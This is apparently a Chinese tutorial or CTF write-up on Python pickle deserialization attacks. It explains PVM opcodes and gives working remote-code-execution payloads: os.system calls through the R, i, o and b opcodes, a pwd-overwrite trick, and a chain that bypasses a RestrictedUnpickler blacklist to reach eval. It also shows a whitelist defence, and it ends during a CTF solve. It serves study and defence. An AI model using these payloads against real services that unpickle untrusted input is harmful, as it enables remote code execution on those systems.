python的序列化和反序列化 是将一个类对象向字节流转化从而进行存储 和 传输 然后使用的时候 再将字节流转化回原始的对象的一个过程
我们可以用代码 来展示出这个序列化 和反序列化 的过程
import pickle class Person(): def __init__(self): self.age=18 self.name="Pickle" p=Person() opcode=pickle.dumps(p) print(opcode) #结果如下 #b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.' P=pickle.loads(opcode) print('The age is:'+str(P.age),'The name is:'+P.name) #结果如下 #The age is:18 The name is:Pickle
pickle.dumps(obj[, protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象。
string:文件名称。
参数讲解
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
从文件中读取二进制字节流,将其反序列化为一个对象并返回。
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")
从data中读取二进制字节流,将其反序列化为一个对象并返回。
在其中 我们可以看到 我们对象的属性 name 和 age 和我们所属的类 都已经存储在里面了 首先使用了pickle.dumps()
函数将一个Person对象序列化成二进制字节流的形式。然后使用pickle.loads()
将一串二进制字节流反序列化为一个Person对象。
那么反序列化的代码演示如下
import pickle class People(object): def __init__(self,name = "fake_s0u1"): self.name = name def say(self): print "Hello ! My friends" a=People() c=pickle.dumps(a) d = pickle.loads(c) d.say()
其输出就是 hello ! my friends
我们可以看出 与php的序列化 其实是大同小异的
当我们在其反序列化之前 将people删除了 那么我们在运行的过程中就会因为对象在当前的运行环境中 没有找到这个类而报错 从而反序列化失败
在Python的官方文档中,对于能够被序列化的对象类型有详细的描述,如下
None
、True
和 False
str
、byte
、bytearray
定义,[lambda]()
函数则不可以)属性值或 [__getstate__()]()
函数的返回值可以被打包(详情参阅 打包类实例 这一段)对于不能序列化的类型,如lambda函数,使用pickle模块时则会抛出 PicklingError`` 异常。
(1)从对象提取所有属性,并将属性转化为名值对
(2)写入对象的类名
(3)写入名值对
(1)获取 pickle 输入流
(2)重建属性列表
(3)根据类名创建一个新的对象
(4)将属性复制到新的对象中
python为我们提供了两个比较重要的库pickle 和 cpickle 后者 是底层使用c语言书写 速度是pickle 的1000倍 但是接口相同
pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。
当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如marshal
,同样能够完成序列化的任务,不过两者的侧重点并不相同,marshal
存在主要是为了支持 Python 的.pyc
文件。现在开发时一般首选pickle。
pickle实际上可以看作一种 独立的语言 ,通过对opcode
的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode
灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
既然opcode能够执行Python代码,那自然就免不了安全问题。以下是Python在pickle文档中的警告。
pickle.dump(文件)
pickle.dumps(字符串)
我们可以查看他的源码 写了一个while循环 用于挨个读取字符 然后将其写到dispatch之中
pickle.load(文件)
pickle.loads(字符串)
他的底层 是通过PVM来实现的 即为python虚拟机 它是实现python序列化 和反序列化的最根本的东西
他是由三个部分组成引擎(或者叫指令分析器),栈区、还有一个 Memo (可以称为标签区)
从头开始读取流中的操作码和参数 并对其进行解释处理 在这个过程中 会改变栈区 和标签区 直到遇到.这个结束符后停止 处理结束之后 会到达栈顶 形成并返回反序列化的对象
作为流数据处理过程中的暂存区 在不断的进出过程中 完成对数据流的反序列化 并最终在栈上生成反序列化的结果 由python的list
实现
如同其名 是数据的一个索引 或者 标记 由python的dict
实现 为PVM整个生命周期提供存储
这个图片可以比较好的解释
当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
pickle协议是向前兼容的 ,0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以V0版本为例,介绍一下常见的opcode
注意opcode的书写规范
(1)操作码是单字节的
(2)带参数的指令用换行符定界
MARK = b'(' # push special markobject on stack STOP = b'.' # every pickle ends with STOP POP = b'0' # discard topmost stack item POP_MARK = b'1' # discard stack top through topmost markobject DUP = b'2' # duplicate top stack item FLOAT = b'F' # push float object; decimal string argument INT = b'I' # push integer or bool; decimal string argument BININT = b'J' # push four-byte signed int BININT1 = b'K' # push 1-byte unsigned int LONG = b'L' # push long; decimal string argument BININT2 = b'M' # push 2-byte unsigned int NONE = b'N' # push None PERSID = b'P' # push persistent object; id is taken from string arg BINPERSID = b'Q' # " " " ; " " " " stack REDUCE = b'R' # apply callable to argtuple, both on stack STRING = b'S' # push string; NL-terminated string argument BINSTRING = b'T' # push string; counted binary string argument SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument BINUNICODE = b'X' # " " " ; counted UTF-8 string argument APPEND = b'a' # append stack top to list below it BUILD = b'b' # call __setstate__ or __dict__.update() GLOBAL = b'c' # push self.find_class(modname, name); 2 string args DICT = b'd' # build a dict from stack items EMPTY_DICT = b'}' # push empty dict APPENDS = b'e' # extend list on stack by topmost stack slice GET = b'g' # push item from memo on stack; index is string arg BINGET = b'h' # " " " " " " ; " " 1-byte arg INST = b'i' # build & push class instance LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg LIST = b'l' # build list from topmost stack items EMPTY_LIST = b']' # push empty list OBJ = b'o' # build & push class instance PUT = b'p' # store stack top in memo; index is string arg BINPUT = b'q' # " " " " " ; " " 1-byte arg LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg SETITEM = b's' # add key+value pair to dict TUPLE = b't' # build tuple from topmost stack items EMPTY_TUPLE = b')' # push empty tuple SETITEMS = b'u' # modify dict by adding topmost key+value pairs BINFLOAT = b'G' # push float; arg is 8-byte float encoding TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py # Protocol 2 PROTO = b'\x80' # identify pickle protocol NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple EXT1 = b'\x82' # push object from extension registry; 1-byte index EXT2 = b'\x83' # ditto, but 2-byte index EXT4 = b'\x84' # ditto, but 4-byte index TUPLE1 = b'\x85' # build 1-tuple from stack top TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items NEWTRUE = b'\x88' # push True NEWFALSE = b'\x89' # push False LONG1 = b'\x8a' # push long from < 256 bytes LONG4 = b'\x8b' # push really big long _tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3] # Protocol 3 (Python 3.x) BINBYTES = b'B' # push bytes; counted binary string argument SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes # Protocol 4 SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes BINUNICODE8 = b'\x8d' # push very long string BINBYTES8 = b'\x8e' # push very long bytes string EMPTY_SET = b'\x8f' # push empty set on the stack ADDITEMS = b'\x90' # modify set by adding topmost stack items FROZENSET = b'\x91' # build frozenset from topmost stack items NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks MEMOIZE = b'\x94' # store top of the stack in memo FRAME = b'\x95' # indicate the beginning of a new frame # Protocol 5 BYTEARRAY8 = b'\x96' # push bytearray NEXT_BUFFER = b'\x97' # push next out-of-band buffer READONLY_BUFFER = b'\x98' # make top of stack readonly
name | op | params | describe | e.g. |
---|---|---|---|---|
MARK | ( | null | 向栈顶push一个MARK | |
STOP | . | null | 结束 | |
POP | 0 | null | 丢弃栈顶第一个元素 | |
POP_MARK | 1 | null | 丢弃栈顶到MARK之上的第一个元素 | |
DUP | 2 | null | 在栈顶赋值一次栈顶元素 | |
FLOAT | F | F [float] | push一个float | F1.0 |
INT | I | I [int] | push一个integer | I1 |
NONE | N | null | push一个None | |
REDUCE | R | [callable] [tuple] R | 调用一个callable对象 | crandom\nRandom\n)R |
STRING | S | S [string] | push一个string | S 'x' |
UNICODE | V | V [unicode] | push一个unicode string | V 'x' |
APPEND | a | [list] [obj] a | 向列表append单个对象 | ]I100\na |
BUILD | b | [obj] [dict] b | 添加实例属性(修改__dict__ ) |
cmodule\nCls\n)R(I1\nI2\ndb |
GLOBAL | c | c [module] [name] | 调用Pickler的find_class ,导入module.name并push到栈顶 |
cos\nsystem\n |
DICT | d | MARK [[k] [v]...] d | 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 | (I0\nI1\nd |
EMPTY_DICT | } | null | push一个空dict | |
APPENDS | e | [list] MARK [obj...] e | 将栈顶MARK以前的元素append到前一个的list | ](I0\ne |
GET | g | g [index] | 从memo获取元素 | g0 |
INST | i | MARK [args...] i [module] [cls] | 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class |
(S'ls'\nios\nsystem\n |
LIST | l | MARK [obj] l | 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 | (I0\nl |
EMPTY_LIST | ] | null | push一个空list | |
OBJ | o | MARK [callable] [args...] o | 同INST,参数获取方式由readline变为stack.pop而已 | (cos\nsystem\nS'ls'\no |
PUT | p | p [index] | 将栈顶元素放入memo | p0 |
SETITEM | s | [dict] [k] [v] s | 设置dict的键值 | }I0\nI1\ns |
TUPLE | t | MARK [obj...] t | 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 | (I0\nI1\nt |
EMPTY_TUPLE | ) | null | push一个空tuple | |
SETITEMS | u | [dict] MARK [[k] [v]...] u | 将栈顶MARK以前的元素弹出update到前一个dict | }(I0\nI1\nu |
S : 后面跟的是字符串
( :作为命令执行到哪里的一个标记
t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中
c :定义模块名和类名(模块名和类名之间使用回车分隔)
R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中
. :点号是结束符
序列化是将一个对象 转化为字符串的过程 我们通过pickle 来实现这个过程
我们举一个栗子
opcode=cos
system
(S'/bin/sh'
tR.
我们可以借助上面的操作码 来看一下这个需要怎样来执行
第一行的c 后面是模块名 换行之后是类名 于是就将os.system放入栈中
然后的( 是标记符 我们将一个标记放入栈中
S的后面是字符串 放入栈中
t将栈中标记之前的内容取出来转化成元组 再存入栈中(’/bin/sh’,)随后 标记消失
然后 R将元组取出 并将callable取出 将元组作为callable的参数 并执行 对应这里就是os.system('/bin/sh') 然后再将结果存入栈中
但是并不是所有的对象都能使用 pickle 进行序列化和反序列化,比如说 文件对象和网络套接字对象以及代码对象就不可以
我们可以使用 pickletools模块 将opcode转化成方便我们阅读的形式
import pickletools opcode=b'''cos system (S'/bin/sh' tR.''' pickletools.dis(opcode) ''' 输出 0: c GLOBAL 'os system' 11: ( MARK 12: S STRING '/bin/sh' 23: t TUPLE (MARK at 11) 24: R REDUCE 25: . STOP highest protocol among opcodes = 0 '''
相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,Python 凭借着自己彻底的面向对象的特性完胜 PHP ,Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面
对应函数如下
def load_reduce(self): stack = self.stack args = stack.pop() func = stack[-1] stack[-1] = func(*args)
弹出栈作为函数执行的参数 参数需要是元组形式 随后取栈中最后一个元素作为函数 将指向结果赋值给此元素
读取下面两行分别为module和name 然后 利用 find_class 寻找对应的方法 pop_mark 获取参数
i操作符将寻找前面的mark来闭合 中间的数据作为元组 将其作为函数参数
(X\x06\x00\x00\x00whoamiios\nsystem\n.
X向后读取四个字符串 将我们的whoami命令压入栈中 i将向后读取 模块与方法os.system 将前面的参数执行
pop_mark的代码如下
先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items
pop_mark我们上面看到了 就是可以弹出栈内的元素 这里的args就是 先弹出栈中的一个元素作为参数 然后 再弹出第一个元素作为函数
最后 使用instantiate函数进行自执行
可以如下构造
b"(cos\nsystem\nX\x06\x00\x00\x00whoamio."
当栈中存在__setstate__
时 会执行setstate(state) 也就是 这里我们如果自己写一个__setstate__
类 构造os.system 和 whoami即可执行命令
s字符的源码 是将
c__main__\ntest\n)\x81}X\x0c\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.
首先 搞了主函数和类 __main__
和test 随后 插入空元组和空字典 然后写入__setstate__
c再向后读 得到os.system 字符s将第一个元素和第二个元素作为键值对 插入到第三个元素之中{__main__.test:()},__setstate__,os.system
b字符使第一个元素出栈 也就是{'__setstate__':os.system}
执行一次 setstate(state) 随后插入whoami然后弹出 执行os.system(whoami)
import secret class Target: def __init__(self): obj = pickle.loads(ser) # 输入点 if obj.pwd == secret.pwd: print("Hello, admin!")
在这里 我们如果要绕过此处的if判断的话 我们需要如何构造呢
我们尝试构造
import pickle import os import pickletools class secret: pwd='123' class Target: def __init__(self): self.pwd=secret.pwd test = Target() serialized = pickletools.optimize(pickle.dumps(test, protocol=0)) print(serialized) b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV123\nsb.'
在这里 我们的target刚被实例化之后 pwd就被赋值了 但其实 并不知道secret中的pwd是什么
那么我们这里就需要用到 全局引用了 在opcode中是c pickle.Unpickler().find_class(module, name)
就是导入module模块 并返回其中叫name的对象 我们尝试在原有的opcode上进行修改
在上面123的地方修改 \n是换行
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
我们随便生成一个rce的payload
cposix\nsystem\n(Vwhoami\ntR.
如果R被过滤掉了 我们需要用什么来代替呢
opcode中 b的 作用是 使用栈中的第一个元素(储存多个属性名-属性值 的字典)对第二个元素(对象实例)进行属性或者方法的设置 可以设置实例的方法 那么 我们能不能设置一个方法让其在反序列化中自动运行 我们可以使用__setstate__()
当解封时,如果类定义了 __setstate__()
,就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 __dict__
如果 __getstate__()
返回 False
,那么在解封时就不会调用 __setstate__()
方法。
所以可以这么理解,pickle 时,Python 会封存该实例的 __getstate__
方法返回给它的值;unpickle 时,Python 将 unpickle 后的值作为参数传递给实例的 _setstate_()
方法。而在 _setstate_()
方法内部,是按照事先自定义好的流程来重建实例。
这是一个 可以遍历Python AST的形式 来自动化解析 pickle opcode的工具
pker最主要的有三个函数GLOBAL()
、INST()
和OBJ()
GLOBAL('os', 'system') => cos\nsystem\n INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no
return可以返回一个对象
return => . return var => g_\n. return 1 => I1\n.
当然你也可以和Python的正常语法结合起来,下面是使用示例
#pker_test.py i = 0 s = 'id' lst = [i] tpl = (0,) dct = {tpl: 0} system = GLOBAL('os', 'system') system(s) return
#命令行下 $ python3 pker.py < pker_tests.py b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."
自动解析并生成了我们所需的opcode。
关于这个漏洞 其实 在官方的文档中 就有介绍 不要unpickle来自于不受信任 或 未经验证的来源的数据 我们在这里再介绍一种方法 通过重写Unpickler.find_class()
来限制全局变量
import builtins import io import pickle safe_builtins = { 'range', 'complex', 'set', 'frozenset', 'slice', } class RestrictedUnpickler(pickle.Unpickler): #重写了find_class方法 def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name in safe_builtins: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() opcode=b"cos\nsystem\n(S'echo hello world'\ntR." restricted_loads(opcode) ###结果如下 Traceback (most recent call last): ... _pickle.UnpicklingError: global 'os.system' is forbidden
此处通过重写该方法 限制调用模块只能为builtins 而且 函数必须在白名单中 否则抛出异常 这种方式 限制了调用的模块函数 都在白名单内 就保证了unpickle的安全性
想要绕过find_class 我们就需要了解其 何时被调用
出于这样的理由,你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同, Unpickler.find_class() 会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用 。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。
c
i
\x93
这三个字节码与全局对象有关 当出现这三个字节码的时候 会调用find_class
当我们使用这三个字节码时不违反其限制即可在一些栗子中 我们常常会见到module=="builtins"
这一限制
if module == "builtins" and name in safe_builtins: return getattr(builtins, name)
buiitins模块 在我们学习ssti的时候 也会经常见到 他就是 当我们启动python之后 即使没有创建任何的变量或者 函数 还是会有很多函数可以调用 即内置函数 内置函数 都是包含在builtins模块内的
eg.import pickle import io import builtins class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
以上的代码 限制了我们所使用的模块只能是builtins 而且 不能使用黑名单中的函数
我们可以借鉴python沙箱逃逸的思路 来获取我们想要的函数 以上的代码并没有禁用getattr()
此函数 可以获取对象的属性值 因此 我们可以通过 builtins.getattr(builtins.'eval') 来获取eval函数
接下来 我们得构造一个builtins
模块 来传给getattr的第一个参数 我们可以使用 builtins.global()
函数 来获取builtins
模块包含的内容
import builtins print(builtins.globals()) #{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'builtins': <module 'builtins' (built-in)>}
从中我们可以看出 在builtins模块中 仍然包含builtins模块 因为上面 返回的是一个字典 所以 我们还需要获取get函数
所以我们最终构造的payload就是builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval')(command)
import pickle import pickletools opcode = b'''cbuiltins getattr (cbuiltins dict S'get' tR. ''' pickletools.dis(opcode ) print (pickle.loads(opcode))
然后 获取globals() 字典
import pickle import pickletools opcode = b'''cbuiltins globals )R. ''' pickletools.dis(opcode) print (pickle.loads(opcode)) 0: c GLOBAL 'builtins globals' 18: ) EMPTY_TUPLE 19: R REDUCE 20: . STOP highest protocol among opcodes = 1 {'__name__': '__main__', '__doc__': None, '__package__': '', '__loader__': None, '__spec__': None, '__file__': 'c:\\Users\\zyc\\Downloads\\main.py', '__cached__': None, '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'WindowsError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>,....
我们现在有了字典 又有了get函数 我们就可以从builtins模块中任意获取了
import pickle import pickletools opcode = b'''cbuiltins getattr (builtins dict S'get' tR(cbuiltins globals )RS'__builtins__' tR.''' pickletools.dis(opcode) print(pickle.loads(opcode)) ''' 0: c GLOBAL 'builtins getattr' 18: ( MARK 19: c GLOBAL 'builtins dict' 34: S STRING 'get' 41: t TUPLE (MARK at 18) 42: R REDUCE 43: ( MARK 44: c GLOBAL 'builtins globals' 62: ) EMPTY_TUPLE 63: R REDUCE 64: S STRING '__builtins__' 80: t TUPLE (MARK at 43) 81: R REDUCE 82: . STOP highest protocol among opcodes = 1 <module 'builtins' (built-in)> '''
调用builtins中的eval函数
import pickle opcode4=b'''cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'__builtins__' tRS'eval' tR.''' print(pickle.loads(opcode4)) #<built-in function eval>
最终 我们构造命令执行
import pickle import io import builtins class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() opcode=b'''cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'__builtins__' tRS'eval' tR(S'__import__("os").system("whoami")' tR. ''' restricted_loads(opcode) #可以成功执行whoami
以上的payload仅是一种方法 当我们想要绕过find_class
我们 可以先构造处沙箱逃逸的payload 然后 再根据payload构造opcode
当然 我们也可以用上面的pker来辅助我们生成opcode
在思路一种 我们通过了getattr(builtins,'eval') 来获取到了内置函数 eval getattr的第一个参数 builtins模块 是通过获取globals种的全局变量来获得的 也就是说 globals() 函数中有python中提前设置好的全局变量 包括我们import的各种模块 那么 我们是否 可以通过globals函数 来获取到pickle模块捏 在引入之后 可以看到在全局变量中 存在pickle模块
可以看到,globals()
函数中的全局变量,确实包含我们导入的官方或自定义的模块,那么我们就可以尝试导入使用pickle.loads()
来绕过find_class()
了。
不过值得注意的是,由于pickle.loads()
的参数需要为byte
类型。而在Protocol 0
中,对于byte类型并没有很好的支持,需要额外导入encode()函数,可能会导致无法绕过find_class
限制。
在第三版本之后 才引入了B和C字节码来操作byte类型
就是使用unicode编码
c__main__ secret (V\u006bey #key S'asd' db.
c__main__ secret (S'\x6bey' #key S'asd' db.
使用sys.modules[xxx]可以获取其全部属性 我们可以使用reversed将列表反序 然后使用next()指向关键词 从而输出
print(next(reversed(dir(sys.modules['secret']))))
我们将上面的代码使用opcode表示一下
(((c__main__ secret i__builtins__ dir i__builtins__ reversed i__builtins__ next .
上面在builtins讲的例子就是来源于这里 重新打一下
import pickle import io import builtins __all__ = ('PickleSerializer', ) class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) class PickleSerializer(): def dumps(self, obj): return pickle.dumps(obj) def loads(self, data): try: if isinstance(data, str): raise TypeError("Can't load pickle from unicode string") file = io.BytesIO(data) return RestrictedUnpickler(file, encoding='ASCII', errors='strict').load() except Exception as e: return {}
只能从builtins中取且不能有上面的blacklist中的函数
那么 我们需要从其自带的builtins中 获取出我们的 命令执行函数
众所周知builtins中的getattr函数 可以获取属性
那么 我们尝试使用这个去获取一下eval呢
可以获取到构建好的eval 然后 我们需要获取到这个builtins的一级模块 我们直接使用pickle是获取不到的 我们看一下他的globals
其中是有builtins的 我们需要将其取出来
构造一个get
获取到get方法
然后这个绕过就串起来了
通过get获取builtins模块 获取builtins模块中的eval 从而进行命令执行
builtins.getattr(builtins.getattr(builtins.dict,"get")(builtins.globals(),"builtins"),'eval')("__import__('os').system('whoami')")
我们将其转换成opcode 如下
cbuiltins getattr p0 (cbuiltins dict S'get' tRp1 cbuiltins globals )Rp2 00g1 (g2 S'builtins' tRp3 0g0 (g3 S'eval' tR(S'__import__("os").system("whoami")' tR.
成功绕过
同时也能执行命令
进入环境 需要寻找购买lv6
import requests url = "http://ip/shop?page=" for i in range (1,200): r = requests.get(url+str(i)) if r.text.find('lv6.png') != -1: print(i) break
找到在181页
进入购买
